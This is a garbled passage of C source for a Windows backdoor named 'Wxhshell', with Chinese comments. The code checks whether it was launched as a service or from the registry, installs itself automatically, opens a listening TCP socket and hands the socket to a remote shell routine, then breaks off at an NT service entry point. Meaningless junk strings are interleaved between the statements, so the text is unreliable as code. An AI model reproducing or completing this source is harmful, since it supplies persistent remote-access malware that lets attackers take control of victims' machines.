pbi.InheritedFromUniqueProcessId); ?("O.< if(hProcess==NULL) return 0; ^BF}wQb:j &ZD@-"@ HMODULE hMod; 8xB-cE char procName[255]; Ql{#dcRx unsigned long cbNeeded; 5&8E{YXr v*.R<-X: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O&?i#@5# O1v)*&NAI CloseHandle(hProcess); ExG(*[l |:S6Gp[\O if(strstr(procName,"services")) return 1; // 以服务启动 2}&ERW W^iK9|[qp return 0; // 注册表启动 <)ZQRE@ } Pk;w.)kT {($bzT7c // 主模块 vYRY?~8 C int StartWxhshell(LPSTR lpCmdLine) D|OGlP { [ K? SOCKET wsl; StJb-K/_cL BOOL val=TRUE; -`'|z+V int port=0; 8;gi8Y struct sockaddr_in door; [r`KoHwdm ;
$rQ if(wscfg.ws_autoins) Install(); 4r$#- xVPSL#> port=atoi(lpCmdLine); w>2lG3H< ]y{tMC if(port<=0) port=wscfg.ws_port; _ &, A pwN2Nzski WSADATA data; l`\L@~l n if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ubu&$4a Lc~m`=B if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cB,^?djJ3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]KuM's door.sin_family = AF_INET; PzPNvV/o door.sin_addr.s_addr = inet_addr("127.0.0.1"); 437Wy+Q|e door.sin_port = htons(port); {v*4mT >Cr"q* if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P"NI> HM closesocket(wsl); +jE)kaV% return 1; %R$)bGT } /D"T\KNWr im*sSz 0 ( if(listen(wsl,2) == INVALID_SOCKET) { 7=fM}sk closesocket(wsl); _-f LD return 1; hp)>Nzdx } }#1. $a Wxhshell(wsl); Z`*V9 WSACleanup(); -`4]u!A ZJ{DW4#t return 0; k1D7=&i bZ_&AfcB } vGyQ306 b_Y+XXb< // 以NT服务方式启动 9SeGkwec?$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (`4& |